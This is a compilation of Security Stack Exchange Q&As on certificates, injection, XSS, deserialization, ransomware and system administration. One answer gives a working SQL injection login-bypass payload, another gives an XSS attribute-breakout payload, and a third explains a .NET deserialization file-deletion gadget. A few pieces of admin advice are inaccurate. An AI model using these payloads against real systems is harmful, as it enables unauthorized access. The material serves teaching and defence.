SSL certificate trust chain shows root certificate with 1024-bit public key - Is this evidence of a MITM attack? My account at my domain name registrar was hacked and I am trying to understand how the hackers were able to steal my login credentials. Because the root certificate in the trust chain for the ssl certificate for the domain registrar's website is using a 1024-bit public key, could this mean that my login credentials were stolen via some type of Man-In-The-Middle attack?

Detailed version of my issue:

I am an expat living in China.  Someone attempted to steal a domain name I have registered by breaking into my account at the domain's registrar.  The individual(s) responsible for the break in were able to break into my account twice.  After the first compromise (October 2014) I did my best to protect the account by setting strong passwords and strong account security questions.  I updated my passwords and account security questions regularly.

I could not identify any malware on the PC (Linux OS) I was using to access my online accounts at the time of the first account compromise; however, in hopes of minimizing any chance that malware could infect my pc and steal login credentials going forward, I began using a Chromebook.

I also took steps to secure my Internet connection by proxying my Chromebook traffic through an ssh connection to a cloud server I  set up on Digital Ocean.  (I used the Secure Shell extension for Chrome to setup the ssh connection.) Since the Great Firewall of China throttles and resets ssh connections to servers outside the country, I connected to my ssh server through a VPN provided by a commercial VPN service provider.  Despite all this, my account was compromised again around the end of March 2015.

After the second compromise, I began examining the ssl certificate information being displayed on my Chromebook for the websites I visited and found some issues which lead me to believe that Internet connections from my Chromebook were being subjected to some type of Man-In-The-Middle attack.

Firstly, for websites that made use of Extended Validation ssl certificates, my Chromebook would almost never display the green address bar (with padlock icon).  I would only see a green padlock icon or a padlock icon with yellow warning triangle.

Also, the public key info for the root certificates shown in the certificate trust hierarchy for the domain registrar, my email provider and many other online sites I visited frequently showed a key size of 1024-bit.  When visiting the same web sites from other PCs, I found the root certificates used in the certificate hierarchy to have a key size of 2048-bit.

From my Chromebook, I exported my domain registrar's ssl certificate using the 'Base64--encoded ASCII, certificate chain'.

The certificate chain information is here for your reference.

http://pastebin.com/17nwa2dB

Opening this file in Ubuntu shows details of each certificate in the chain including the root certificate with the 1024-bit public key.

The certificate trust chain shows that the intermediary certificates in the trust chain are 2048-bit and the registrar's ssl certificate is 2048-bit.  (I also verified that the domain registrar's ssl certificate's authentic fingerprint was correct via Steve Gibson's fingerprint service.)

I also found that the trust chain used when connecting to my email service (Fastmail) was using a GTE CyberTrust Global Root certificate.  This root certificate seems off as I found that Fastmail uses a DigiCert High Asurance EV Root Certificate in the certificate chain when connecting from browsers that properly showed the full green address bar with padlock icon.

The 'Base64--encoded ASCII, certificate chain' for my Chromebooks connection to Fastmail is here for your reference.

http://pastebin.com/HsVb1Z40

Both chains are actually OK. The third certificate in both cases matches a real root CA (I checked against my machine's root, which fingerprints I then checked against the CA's sites via HTTPS on a separate iPad which is newly-purchased and should have proper certificates installed).

Here's what's happening: Certificates and public keys don't have a one-to-one relationship. A certificate binds a public key to an entity (the subject of the certificate); an entity might obtain several certificates for the same key, in case there's an issue with one of the certificates later (specifically, an issue not affecting the key).

That's what's going on here. Both chains have, as their third cert, a certificate with the same key (and subject) as the root ones on my machine (which are effectively known-good). But unlike the root CAs on my machine, they are signed by other (older, obviously) CA certificates; this is called cross-signing. This adds more options to trust the CA's cert; if you don't have it set up as a root, you can instead trust it because it's verified by a cert you do trust as a root.

In VeriSign's case, what's happening is they got a new root in the mid 2000s. They wanted to transition to the new root, but not all clients would have the new root installed. So, servers were given both the new root as self-signed (for new clients), and a chain from the new root to the old root (for old clients). In DigiCert's case, they have cross-signed certs with CyberTrust (which, incidentally, they recently bought) to give more options (I think the CyberTrust roots are older).

Because the chain has, somewhere along the line, a CA certificate with the same key and subject as a standard still-valid root CA cert, you don't actually have to worry about the rest of the chain after that point: even if a cert further down the chain is attacker-controlled, they can't be exploiting it at the moment.


Why don't OS's make keystrokes available to only the current app? Seems like a relatively obvious way to prevent (software) keylogging would be to force only the current (in-focus) app to be able to receive keystrokes.

There could be a way to make explicit exceptions for macro apps etc. Querying the exception list would make finding a keylogger trivial.

Is there any reason operating systems don't enforce this policy by default?

Because it wouldn't help.

Most keyloggers are installed at the operating-system level, and the operating system needs to have access to the keystrokes.  Alt-Tab program switching, using Ctrl-Alt-Del to terminate malfunctioning programs, and detecting keyboard activity to keep your screensaver from activating all require the OS to see keystrokes.

There's also the minor matter that if you eliminated OS access to the keyboard, every application would need to have a complete set of keyboard drivers built into it.


Is it safe to binary-deserialize user-provided data? AppHarbor has a blog post containing sample C# code which reads data from an unsigned cookie and passes it through .Net binary serialization.

Is that safe?

Obviously, the data is completely tamperable.

However, are there any risks in passing attacker-controlled input to the deserializer?
Could that result in code execution?

I know this is really, really late in the game, but yes, there is a specific vulnerability that pertains directly to deserialisation of untrusted data. It works in the same way that so-called "PHP Object Injection" attacks do - by abusing classes that perform actions in their finalisation and disposal stages.

Consider the following class:

[Serializable]
class TempFile : IDisposable
{
    private readonly string _fileName;

    public TempFile()
    {
        _fileName = Path.GetTempFileName();
    }

    ~TempFile()
    {
        Dispose();
    }

    public FileStream GetStream()
    {
        return new FileStream(_fileName, FileMode.OpenOrCreate, FileAccess.ReadWrite);
    }

    public void Dispose()
    {
        try
        {
            if (File.Exists(_fileName))
                File.Delete(_fileName);
        } catch {}
    }
}

Now, imagine there's a really boring serialisable class called Message that just contains some strings. Nothing really interesting at all. You're using this class to pass messages around over the network, like so:

public void ProcessNetworkMessage(byte[] message)
{
    var bf = new BinaryFormatter();
    Message msg = null;
    try
    {
        using (var ms = new MemoryStream(message))
        {
            msg = (Message) bf.Deserialise(ms);
        }
    }
    catch (Exception ex)
    {
        AppLog.WriteLine("Exception: " + ex.Message);
    }
    if (msg != null)
    {
        ProcessMessage(msg);
    }
}

Seems innocuous, no? But what happens if an attacker passes a binary serialised version of a TempFile object over the network, rather than the expected Message object?

Four things happen:

The data is deserialised into an object instance by the BinaryFormatter.
The returned object is unsuccessfully cast to a Message object, throwing a cast exception.
The method exits without using the returned object, leaving the internal representation with zero references in the GC tree.
The garbage collector disposes of the object.

Why is this exploitable? Well, when the finalisation logic is called by the GC, the destructor calls TempFile.Dispose() and deletes the file specified by the _fileName field. Since that field's value is set within the binary serialised blob, the attacker can control it. Put it all together and you've got an arbitrary file deletion bug.

This seems a bit of a stretch, but often you'll find SQL queries and all sorts of other goodies in Dispose() or destructors of serialisable classes.

Edit: I did a quick search of the reference source, and it turns out that System.CodeDo
m.Compiler.TempFileCollection contains exactly the issue I showed above - you can fill it with a list of files and upon destruction it deletes them all.


Windows task manager can see all processes as non administrator without permission On Windows Server 2008 R2 operating as a standard user, when I open Task Manager I can see all the processes from different users on the system. I have the option to click "Show all processes" which requires elevation, which does indeed show all processes.

Why though can I see processes from other users (Including other standard users or Administrator user) without needing to elevate?

In terms of Windows system calls, getting process information can be done via NtQuerySystemInformation() with SYSTEM_PROCESS_INFORMATION as a parameter.

However, the true clue to this behaviour lies with GetProcessMemoryInfo() which mentions a permission called PROCESS_QUERY_LIMITED_INFORMATION discussed in Process Security and Access Rights. Specifically:

  [With Windows Vista] The PROCESS_QUERY_LIMITED_INFORMATION right was introduced to provide access to a subset of the information available through PROCESS_QUERY_INFORMATION.

This exists because (if you keep reading that page) PROCESS_QUERY_INFORMATION is denied on some processes in Vista, particularly those with DRM. So in order to provide you with some information about the process you're running, you get this cut down version.

I'm not at a Windows box to verify this yet, but I believe that all users have at least PROCESS_QUERY_LIMITED_INFORMATION on any given processes so you are able to query limited information even on processes that do not belong to you. Their existence is one such property, although as SteveS notes in the comments, the detail is limited.


Correct way of establishing if the switch is sending syslogs? I want to confirm through scanning means if the switch is sending syslog packets or not. What i did was run a nmap scan

    nmap -sV -p514 xxx.xx.xx.xx

The result came out as closed. Does this mean that syslog service is not activated on the switch is this a correct assumption?

I'm sorry to say that @Don Simon is wrong too.

Syslog defaults to udp which will not show up on a nmap -sV scan. syslog over tcp is a rather new implementation and most network gear will not use it.

If you would like to detect the syslog packets, you could sniff your network traffic between the switch and your remote syslog server. You will see UDP packets with a destination port of 514.


Using hashcat for collision attack Whenever i tried generate √N randomly(possible combinations of password length), i always find few collisons of the hash password no matter the length, if the password was made of entirely random characters of course, so i test this case on hashcat. I noticed its generate method always keep some digits intact & try all other positions possible combinations like this

  caefnNHJKn854557 --> plOcmawJKn854557

This make the chance for collison to happen very low. Is there any way to set up or configure hashcat to generate an entire random combinations eachtime it try candidates?

i tried the expriment with C++ & C# using their random generator function & many times got the collision. i want to try this with hashcat because its random generator was the fastest but don't know hot to configure it

For any halfway decent hash function, even hashes that are completely unsuitable for cryptography, if you look for collisions by brute force, it doesn't matter how you explore the search space. Keeping a fixed prefix and changing the suffix, or keeping a fixed suffix and changing the prefix, are as good as any other method. That's because all hash functions are designed to produce distinct results for similar inputs.

If there are N possible hash values, you need about to calculate and store about √N hashes until you have a good chance of finding a collision (the birthday bound). For a 32-bit hash as used in hash tables, N = 232 so √N = 216 which is reached very quickly. For a 128-bit hash such as older cryptographic hashes, √N = 264. A GPU these days can calculate something like 234 (16 billion) MD5 hashes per second, which means it calculates 264 hashes in about 230 seconds ≈ 34 years).

But that's not all: to find a collision, you need to store the result of all these calculations, so the limiting factor will be memory bandwidth. And once your RAM fills up, that'll be storage bandwidth. You aren't going to find a collision in a 128-bit hash in your lifetime.

Hashcat is designed to find hash preimages, not to look for collisions. Hashcat is designed to reverse password hashes (and ordinary hashes that are misused for passwords), and collisions are not relevant for that. But even with an optimized tool, what you're trying to do is not feasible for any cryptography-sized hash.

If you want to find a collision for a 128-bit hash, you need to understand its structure. There are known methods to find collisions for MD4 and MD5, for example. These methods are practical because they don't use brute force over the whole search space.

By the way, you're calling the hash inputs ”passwords“, but password hashes are different from “ordinary” cryptographic hashes. They're slower, and salted. The use of a random salt means that with a password hash, you don't get the same output twice, not even if you use the same password twice.


Can one connect to wireless router without cracking WPA2 handshake? Is it possible to re-broadcast the appropriate parts of a captured four way handshake and connect to the router? If not why so?

What you mean is known as "replaying" but is does not apply here. One of the steps involved in the four step handshake authentication process in WPA2 is a challenge-response and your client needs to know what is the "password" to give the right answer. So, you cannot reuse a previous capture because, basically, the challenge will be different every time.


Is random URL token secure enough for file attachments and other user content? Lets say we have a hypothetical system where there are various files are added by users and are sensitive, e.g. lets say an attachment to a private message. It's not that easy to verify access rights usually (in terms of implementation), since attachment can be added to multiple objects, etc. So a common way to implement it is something like that:

mysite/file?id=DFD-...FDFD

Lets say that the id that is used is generated using secure PRNG (not a guid or something) and it's virtually not possible to guess. Will that provide adequate security or the risk of the URL exposing is rather high?

Possible problems include users exposing these urls, so it does not seem very secure even with non-guessable urls to me if the attachment can contain any sensitive data, but it's interesting to know the thoughts of security experts on that.

P.S. I have found this URL on github where this exposure was a real case. A developer thought that URL is protected and published on a public place but it appeared to be not the case.

While it definitely does provide a degree of security, it still leaves you a number of security holes that may or may not matter dependent on the type of application you are developing. For a non-exhaustive list:

Content may meant to be limited to a select group of users, what if one of them leaks the URL?
URLs with GET parameters are stored in a large number of places - web history for example
Occasionally you see major issues when google crawls things they are not meant to, for example the instawallet fiasco.
Security vulnerabilities elsewhere in your site may expose the links, and with no additional security they will be exposed.

If I were you, I would want to implement additional security by tying files to specific people/groups who may be able to access it, and confirm their session prior to serving the content.


How to use mySQL UNION operator in sql injection, with injectable password paramiter? Can someone give me an example of sql injection with UNION operator, that returns users and passwords, with regards to the bellow php example. I've managed to inject simple 1 or 1=1... in the pass parameter, but so far failed to inject using UNION operator.

function sanitizeStr($var)
{
global $connection;
$var = strip_tags($var);
$var = htmlentities($var);
$var = stripslashes($var);
return $connection->real_escape_string($var);
}

function sanitizeStrSQ51($var)
{
return ($var);
}

$error = $user = $pass = "";

if (isset($_POST['user']))
{
$user = sanitizeStr($_POST['user']);
$pass = sanitizeStrSQ51($_POST['pass']);

if ($user == "" || $pass == "")
$error = "Not all fields were entered
";

else
{
$result = queryMySQL("SELECT user,pass FROM members WHERE user='$user' AND pass='$pass'");
if ($result->num_rows == 0)
{
$error = "Username/Password invalid

";
}

else
{
$_SESSION['user'] = $user;
$_SESSION['pass'] = $pass;
die("You are now logged in. Please " . "click here to continue.

");
}
}
}

The query takes two parameters, $user and $pass. As you can see, the $user variable is properly quoted, while the $pass variable is used as-is, which makes it vulnerable to Sql Injection. From the code it is evident that all we need to do is to return any value from the query in order to get access:

    if ($result->num_rows == 0) {
      $error = "Username/Password invalid

";
    } else {

Set the $user parameter to the name of an existing user, let's say 'admin', because it will be used afterwards by this code:

      $_SESSION['user'] = $user;

Set the $pass parameter to:

whatever' UNION SELECT 0,1 --

So the query becomes

SELECT user,pass FROM members WHERE user='admin' AND pass='whatever' UNION SELECT 0,1 -- '

Note the "-- " at the end of the query. This is a comment, which helps us get rid of the last single quote. The whitespace after the double-dash is required, otherwise MySQL won't recognize the comment. Alternatively you can use the # symbol. More info here: MySQL Comment Syntax


A dedicated browser (profile) for online banking I have a dedicated browser (Firefox) profile that I use for accessing online banking systems (and only for that). The current setup is (summarising) as follows:

I have it set to clear all history and cookies when closing the browser.
I have a master password set up to protect saved passwords (in addition to all my browser profiles being separately encrypted).
I have bookmarked all the banking sites that I want to use (so I never have to google them or anything of the sort).
I have the cookie whitelist extension, so that I don't get any cookies I don't explicitly allow.
I have NoScript, so that only the sites I allow can run any scripts.
I have Self-Destructing Cookies, so that the cookies erase themselves after I close their tabs.
I have RememberPass, so that I can save passwords even in those sites that won't let me.
I don't keep the passwords online, I only copy them between computers offline via an encrypted file on a USB stick/via local network/manually.

One thing I have an obvious problem with are those silly sites that have me input only select characters from the password. The only way I see to type those in with extreme hassle is to have an encrypted file with numbered characters in each password, but that is still a bit of a hassle and doesn't feel as secure as I'd like it to be (in particular, I have the text file open on my screen and I have to painstakingly input every character, which might leave me open to shoulder surfing if I'm less careful).

So the question is: are there any obvious ways in which I can improve the setup (without crippling usability, I'm not that rich or paranoid)? Perhaps there is another browser better suited for the job, or some extensions that might help with security or usability (see esp. the previous paragraph)?

I use similar profiles in both Linux and Windows.

Your setup seems to take precautions against the banking site itself (NoScript, no cookies, etc), the issue is that site would be relatively safe (and if not, it's the bank's problem, not yours).

On the other hand, malware caught by browsing in your other, non-banking browser would still be free to spy on you and observe anything you do in the banking browser once it owns your entire user account.

If you do want to protect your online banking I suggest you do so on an isolated computer where you do nothing but banking (no way to catch malware through other sites, etc). If you do not have a second computer you can do all your non-sensitive activities in a VM, which if compromised should provide good enough isolation to prevent compromise of the host where you do sensitive activities. Note that doing the opposite (non-sensitive stuff on the host, sensitive stuff in a VM) will do nothing because the host has full access to the VMs by design, so once the host is owned, so are the VMs.


Can a client with an ECC certificate and a server with RSA certificate establish a mTLS connection? Can a client with an ECC certificate and a server with RSA certificate establish a mTLS connection?
Can they agree on a cipher suite?
Why?

This is more a matter of practice in security protocols than of cryptography, but: YES, DEPENDING.
In older versions of TLS through 1.2 (and before TLS, in SSL3) each possible ciphersuite specifies, among other things, the keyexchange method which controls the 'type' of server certificate to be used, and how -- more exactly, what the algorithm of the key in the SubjectPublicKeyInfo must be, and what must be set in the KeyUsage extension if used. See the table in RFC5246 section 7.4.2 in particular the entries for RSA and DHE_RSA/ECDHE_RSA. If the client offers at least one ciphersuite acceptable to the server and using one of these keyexchanges, and for a keyexchange using RSA-signing (DHE_RSA or ECDHE_RSA) in 1.2 either omits signature_algorithms or includes at least one adequate RSA signature, and the server has a suitable RSA privatekey and cert, it can use it.
The client certificate, OTOH, is not controlled by the ciphersuite. If used at all, it is controlled by the CertificateRequest message in section 7.4.4 as modified by RFC4492 section 5.5 and section 3. If the server requests ecdsa_sign, the client can use a signing-capable ECC cert (informally, an ECDSA cert). The server can't request either of the ecdh_fixed cert types here, because those keyexchanges would require the server use an ECDH cert which your case doesn't.
For 1.3 the protocol changes but the result is the same. Plain-RSA and static-DH keyexchanges no longer exist, so the server certificate is now used only for authentication (signing), and is not linked to the ciphersuite but (only) to the client's signature_algorithms in ClientHello which is now mandatory. Conversely, the client's certificate (if any) is controlled only by signature_algorithms in CertificateRequest (if used). For ECDSA the signature_algorithm values now control the curve as well, which they didn't do in lower versions. It is perfectly fine for the algorithms to be different.
Of course all other requirements must be met: the client must validate the server's cert against the client's truststore at the current time, and for some protocols (like HTTPS) validate its hostname(s); the server must validate the client's cert against the server's truststore at the current time, and optionally check its identity information; the key size(s) and hashes used must be considered strong enough (not RSA-1024, MD5, SHA-1) as must the DHE or ECDHE parameters if used; other extensions like RFC5746, RFC7366, RFC7627, and single or multi OCSP (especially if stapled), must either be agreed or their absence accepted; unacceptable downgrade must not be detected. And probably more I've forgotten.


Will JavaScript be executed which is in an HREF? I located an issue with a site where I can insert a script tag into the href of an anchor tag:

Click Me

What I am trying to determine is, what is the chance that a browser, even an older one would execute this JavaScript located withing the HREF?

I understand that this value needs to be encoded before being written to the page, etc.  This question is strictly around the threat level of the statement above and the chance a browser will execute the JavaScript while creating the page.

I am finding more difficult to test xss vulnerabilities now that browsers are doing a better job of detecting and protecting against them.

I do not know of any browser that will execute Javascript for the particular example you mention.  I consider it highly unlikely that any browser will execute Javascript in this situation.  This is not related to newer protections in modern browsers.

However, I suspect you are still vulnerable.  If an attacker can insert markup into an href attribute, it probably means they can insert anything they want.  And if an attacker can insert anything they want, then bad things happen.  For instance, the attacker can make it look like this:

Click me

And that is bad news, because browsers will execute Javascript in that situation.  So this is a way that an attacker could try to exploit the XSS vulnerability.

Also, if there are no quotes around the value of the href parameter, there will be other ways to attack your system.  For example, Click me is bad news and will execute Javascript.  (Thanks to @AviD for pointing this out.)  Even if there are quotes around the value of the href parameter, if the attacker completely controls the value placed in there, the attacker may be able to supply his own quotes to break out of the attribute and then cause trouble, like this: Click me.  (Here the attacker inserted the value blah" onclick=alert(8007) ignoreme="blah.)  There are likely more examples like this.

The bottom line. I definitely recommend you fix the XSS vulnerability.  I suspect you are at risk.  Bad guys have developed a large number of surprising and clever ways of exploiting XSS vulnerabilities which you can't be expected to know about; as a result, if you have a XSS vulnerability, your best bet is to fix it preemptively and not take any chances.

Fixing the flaw.  To fix the flaw, I recommend that you use a combination of validation and output escaping.  First, ensure the URL's protocol handler is one of a whitelisted set (e.g., http, https, ftp, mailto).  Then, apply HTML escaping to escape all angle brackets, quotes, and ampersands before inserting the URL into the markup, and make sure the attribute value is surrounded by quotes.

The exact way of implementing this fix is language-dependent, but you can find a lot of information on the web about how to avoid XSS flaws in this situation.  For instance, after ensuring the dynamic value contains a safe protocol, in PHP you could use htmlspecialchars(., ENT_QUOTES) to escape angle brackets, quotes, and ampersands.  Or you could use OWASP ESAPI, which provides support for exactly this situation.

To learn more, I can recommend a good introduction for web developers.  This is just an introduction and you will need to read more, but it will help you be aware of the threats at a high level.  OWASP has some good resources on defending against XSS; for instance, they have a useful cheatsheet for how to use OWASP ESPI to avoid XSS vulnerabilities.


Using AES with a hex key/iv, what mode of operation is the "most secure" I realize that is a loaded question, but it is not an unreasonable one.

given a hex key/iv, what mode of operation is most secure from offline attacks.

I defaulted to aes-128-cbc.  Partly because of schneier's 128 > 256 article.  cbc because friends don't let friends use PBE or ECB

CBC
PCBC
CFB
OFB
CTR?

http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation

Use case: multi-client and platform support, which boils down to openssl in the end

EDIT:

Please focus on the question, and don't try to guess the use case.  This is not for a government, PCI, etc environment.  Key management is out of the scope of this question.

They're all secure enough.  The two standard choices are CBC and CTR.  CBC is a bit more resilient to implementation errors.  CTR can be parallelized more effectively.  Pick either one.

Just make sure that you know what you are doing.  The number-one most common mistake is to design your own cryptography.  The number-one best way to avoid common mistakes is to reuse some existing high-level crypto software, like GPG or the OpenPGP format for securing data at rest, and TLS for securing communication channels.

Based upon your question, I would say that you are at high risk of introducing common mistakes into your software by attempting to build something yourself, rather than using standard mechanisms like GPG/TLS/etc.


Firewall detects CVE 2017-0016 My firewall is dropping traffic from 3 terminals connected through SSL Client-2-Site VPN, because it detects " Microsoft Windows SMB CVE 2017-0016 Tree Connect Response denial of service vulnerability " .

The destination is a Domain Controller.

I have run a offline scan with Kaspersky rescue Disk, and nothing was found on 2 of them. What could be causing this alert?

Kaspersky Rescue Disk is a tool against malware, not against remote external attacks and in the majority of the cases it would not help here.

The most possible reason this traffic was dropped is that the requests, purposefully or not, were crafted in a way that they could cause a denial-of-service state on your host. In other words, if the systems you use are vulnerable to CVE 2017-0016 ("Microsoft Windows contains a memory corruption bug in the handling of SMB traffic, which may allow a remote, unauthenticated attacker to cause a denial of service on a vulnerable system." - https://www.kb.cert.org/vuls/id/867968), the traffic that was dropped could have caused them to crash and that's why it was dropped.

Things to consider:

Have you applied the critical security update MS17-012? (https://technet.microsoft.com/library/security/ms17-012)
Do you even need SMB? If not, disable this service (close the port 445).

There is also a possibility that this was a false positive and the traffic was genuine and not DoS-inducing. If you suspect this, investigate the traffic and get the firewall rules tweaked accordingly.


Is penetration testing included in the job of a NOC? I was researching about what job position is related with ethical hacking. I found something like SOC and NOC, but I got a little bit confused.

I know SOC tier 1 does programming tasks and information gathering, tier 2 is the same as tier 1, but a little bit offensive, but however tier 3 is a bug hunter.

Does a NOC do daily penetration testing or is it only in a SOC?

If you are looking for job titles, then the one you used as a tag is the most relevant: penetration tester.

SOCs and NOCs might not do any 'hacking' at all.


How to connect to a MariaDB database after collecting data about users and passwords with a SQLI? I'm trying to breach a dummy MariaDB database which is vulnerable to SQLI and is storing sensitive data about its users and their passwords. I've collected all the data I could collect, but now how am I supposed to connect to this database and tamper with it? I downloaded MySQL (MariaDB) and I was trying to connect to it by using Bash with this code:
mysql -h hostIPaddress -u username -D dbname -p

But I only get ERROR 2002 (HY000): Can't connect to MySQL server on hostIPaddress. What's the correct procedure?

Most likely, you can only connect from localhost/127.0.0.1


Python 2.7.6 with openSSL 0.9.8 unable to dohandshake with TLS protocol supported site I have a requirement where i need to make calls to SSL enabled website for processing payment gateway from my application with python 2.7.6 with openSSL 0.9.8. But when i call this website i get following error SSLError: [Errno 8] _ssl.c:507: EOF occurred in violation of protocol. This payment gateway only support TLS v1 and above and not SSL v2 and v3.

When i wireshark the request/response i get following below. The request doesnt move further and stop's there. I don't get any Server Hello message.

I have tried the same with a .Net application and the link work perfectly. I have pasted the request/response from that call below. Here i also get a Server Hello and everything works like a charm.

I want to get this working with python 2.7.6. I suppose this is due to SSL protocol. But i am unable to upgrade my openSSL and get this working. What do you guys advice on this.

Accrording to the wireshark pictures the .NET client is using TLS 1.2 while your Python program is using TLS 1.0 with a SSLv2 compatible handshake. TLS 1.2 is not supported with openssl 0.9.8. Support for TLS 1.2 was only added with OpenSSL 1.0.1. TLS 1.0 is supported by openssl 0.9.8 but it is unknown if the payment gateway really supports TLS 1.0 since due to PCI requirement several payment gateways require TLS 1.2 now.

  But i am unable to upgrade my openSSL and get this working. What do you guys advice on this.

If TLS 1.2 is required by the payment gateway you've lost with your old OpenSSL version. If TLS 1.0 is possible one would need to see the code for your client and how it can be changed to not use a SSLv2 compatible handshake with TLS 1.0. But this part of the question would then be off-topic here and on-topic at stackoverflow.com.


chrome is launched and tries to open a wierd website I have this wierd problem that once in a while (I guess mostly when I plug my laptop to adapter) chromium is lauched by itself and loads this wbesite:
http://gestyy.com/wPEFwy

I can guess that there might be a trojan or a cpu/gpu miner or another type of malware running on my system but windows defender does not complain about it.

how can I get rid of this?

I also need to know which process fires chromium? is there a way to tell what process is the cause of firing another process?

Microsoft Windows 10 Enterprise
Version 10.0.16299 Build 16299

how can I get rid of this?

You need to uninstall Chrome immediately, run a full AV scan (including searching for rootkits), and only after re-install chromium. Some mining scripts use JavaScript within your browser to mine - it sounds like this is what's happening.

  I also need to know which process fires chromium?  is there a way to tell what process is the cause of firing another process?

This may help. It does require downloading other software. If you're not comfortable with that, try using the process manager and checking the startup programs.


How to deal with encryption virus? We are just struck by encryption virus.

I don't know which is it, but it encrypted files with extention which finishes with doctor@freelinuxmail.org.

How to find out which PC is infected?

We did not still receive ramsom message - so this mean that virus still operating?

I make search over the Internet, but I can not be sure that sites provided info are not some hackers sites and I can use instructions inside.

Any ideas?

You've been hit by a virus, possibly a ransomware. The way to proceed depends on the kind of virus, but in general you must use an antivirus to check all your machines, and be ready to wipe out the infected ones and restore data from backups.

If you receive a ransom request, it would be wiser to not pay it.

Related question: Getting files back by paying Ransomware

Note: a Google search for doctor@freelinuxmail.org returns a number of shady sites offering to download and install their "anti-virus solutions". Don't install software from unknown sources; rely on legitimate antivirus products (here's some that come to my mind, listed in no particular order: F-Secure, Kaspersky, Norton, AVG, Avast etc.).


What are best practices for keeping up to date Linux servers? I recently moved from Windows Server administration to Linux administration. In Windows I get used to practice that all critical and security updates are installed ASAP on their release. On Windows this can be done via few buttons with help of WSUS and SCCM.

When I moved to Linux I am very surprised that I see a 3rd Senior Linux administrator who does not care about updates at all. When I tried to find some central point of checking if my system is secure or not, like WSUS and SCCM - I couldn't find it.

What are best practices of ensuring that my Linux system is up to date and secure? What about 3rd party software installed on this system? How can I check that it's also secure?

Your problem here is that you are looking at Linux management as it was Windows management.

In Linux, all distros have repositories of packages that handle the versions of the software available to that specific distro. You can look at these repositories as a WSUS, but it's not something that you manage but someone else does.

Depending of the package manager the distro uses, you have different ways of staying up to date. Odds are that you are either using a Debian-based, a RedHat-based distro or OpenSUSE/SUSE, so the commands are:

apt-get update && apt-get upgrade for Debian.
yum update for RedHat.
zipper update for OpenSUSE and SUSE.

If by similar to WSUS you mean for local central updates, you can mirror the repositories of the distro you are using and set it up. For example, in this link you have info for RedHat.

PS: never run the upgrade variants of the commands above unless you really want to. Upgrade will update important things of the core of the server that you may not be ready to handle, like kernel, important libs, etc.


How to securely provide SSL certs to a Docker app What is the most secure way to provide SSL certificates (for HTTPS) to a Docker application?
The approaches I've considered:

The environment
It's common (but obviously not required) to use the 12factor approach with Docker apps, which would suggest environment variables, which are considered safe, but certificate chains can be a bit long and unwieldy for environment variables (not that this is a complete deal breaker).

Private image
I can also create a custom, private Docker image, but if I'm not using a private Docker repo (and I'm not--I'm using Docker Hub at present), that means trusting at least one other party with my secret.  If I use automated builds, that means trusting yet another party (i.e. GitHub), too.

A mounted volume
This seems less kludgy than passing long environment variables that have to be processed. But up to this point, I've had no need at all for a local volume, and it seems a bit unfortunate if this is the one thing that requires me to use one.  But maybe that's the price to pay for security?

From a security standpoint, what is the best option? Or are there pros and cons of these approaches I have not considered?
For reference, my current Docker image is hosted on Docker Hub, created with an automated build from GitHub, and the containers are running on Tutum. My Docker Hub and GitHub repos are private at present, but I hope to make them public later, when the project is a bit more mature. Although I'd hope for an answer that's general enough to apply more widely than in this specific setup.

One challenge with the environment variable approach is that they are shared with any linked containers (more info here), which may restrict the use of that approach in some setups.

Private images as you say are a problem as you're sharing the key to a number of parties and this could also affect your ability to use other related services which would need access to the github or docker repos (e.g. Jenkins)

This leaves the mounted volume solution, which seems like the best approach from a security standpoint.  It restricts the necessary distribution to the docker host, which in most cases is less of an exposure than placing it with 3rd parties or potentially exposing it to other linked containers.


No password root accounts of an entire laboratory! 2 days ago some of the university staff asked me about 3 computers here.

All the computers are using Ubuntu and have the exact same password on the login screen for the superuser. Let's say StackPa$$word is the password. 3 computers refused the password.

Decided to hack and reset it. I've launched Ubuntu in recovery mode and I've selected root option in the recovery section. I've realized that it requested no password at all. Just entered command line as the root and I've typed mount -o rw,remount / followed by passwd <username>. It asked me for the new password and I've just entered it, and it accepted it.

Then I wanted to try it for the root, repeated the command as passwd root and it still worked. Now I've added a password of my choice to the root and also a password of my choice to the superuser.

Now I've full access to the computer and can use it for pretty much anything that I want to.

This concerns me way too much. Imagine 100~ computers are in the same situation. Also, if the user puts the password of their choice to the root and superuser, there's only one option, reinstalling the whole thing for that machine.

What do I do now? I wasn't working here before, so I noticed that when I started working. Should I just add passwd root to every single machine to ensure that no one will be able to access recovery terminal?

Also, let's say that I left the entire system like that. What could go wrong?

Please do enlighten me, thank you!

Oh dear. Sorry, but you goofed. You made a technical mistake and a legal mistake. You may be in trouble. Act carefully.

The legal mistake is that just because you can take control of a machine, doesn't mean you're allowed to. Only the proper authority is allowed to decide who has the root password. From my understanding of what you wrote, you are not the administrator of these machines, merely someone who uses them for your job. By changing the root passwords, you've removed some people's access to these machines. These people may legitimately be angry.

Advising you how to fix this mistake is off-topic here (try Academia if you want advice over the Internet). One way or another, you should go and tell the person in charge of these machines what you did. The person in charge may be a system administrator who should know what they're doing, or they may someone in an administrative position (e.g. dean of studies) who doesn't know the technical aspects. Either way, they set the policies: they decide who is allowed to log in on the university computers, not you. You may of course suggest changes, especially if the person in charge is non-technical, but they get the final word.

You made a technical mistake with the computers where the weak password didn't work. You never checked whether they had a root password. Nothing in what you did implies that the root account doesn't have a password! When you reboot in recovery mode, you get a root shell, there's no need for a password. When you run the passwd command as root, you aren't prompted for the old password: you're root anyway, so it would be pointless. With the other computers, you can still restore the old password by running passwd again. But with the computers where you used recovery mode, it's too late: the only way to restore the old password is to find a backup, or someone who knows the old password. There's still a chance that /etc/shadow- contains the old password: it's a backup of /etc/shadow that the passwd command creates automatically. But that's only helpful if there's a machine where you only ran passwd once, not if you ran it repeatedly.

You had two complaints about the security of these machines. Both complaints may or may not be legitimate depending on what security properties are expected.

Some machines had a weak root password. That may or may not be a problem. Is it a problem that people can be root on machines that are only used for student labs? That would depend on how the machines are used. If the machines are connected to the outside and the students enter their own credentials, then yes, it's a problem and you should raise it. On the other hand, if the machines are isolated and are wiped before doing anything that's graded, then it doesn't matter. Everybody may as well be root.
Anyone can take control of the machines if they have physical access. That is unavoidable. If someone has physical access to a computer, it's their computer. There may be a good reason to make it more difficult, at least to require opening the case (meaning, recovery mode should be protected by a password and booting from USB should be disabled). But once again it depends what the computers are used for.

You need to discuss this with the people who use the machines. You can't just barge in there and lock them out. Do voice your security concerns, but also listen to the people who know what's going on, and don't go behind people's backs.


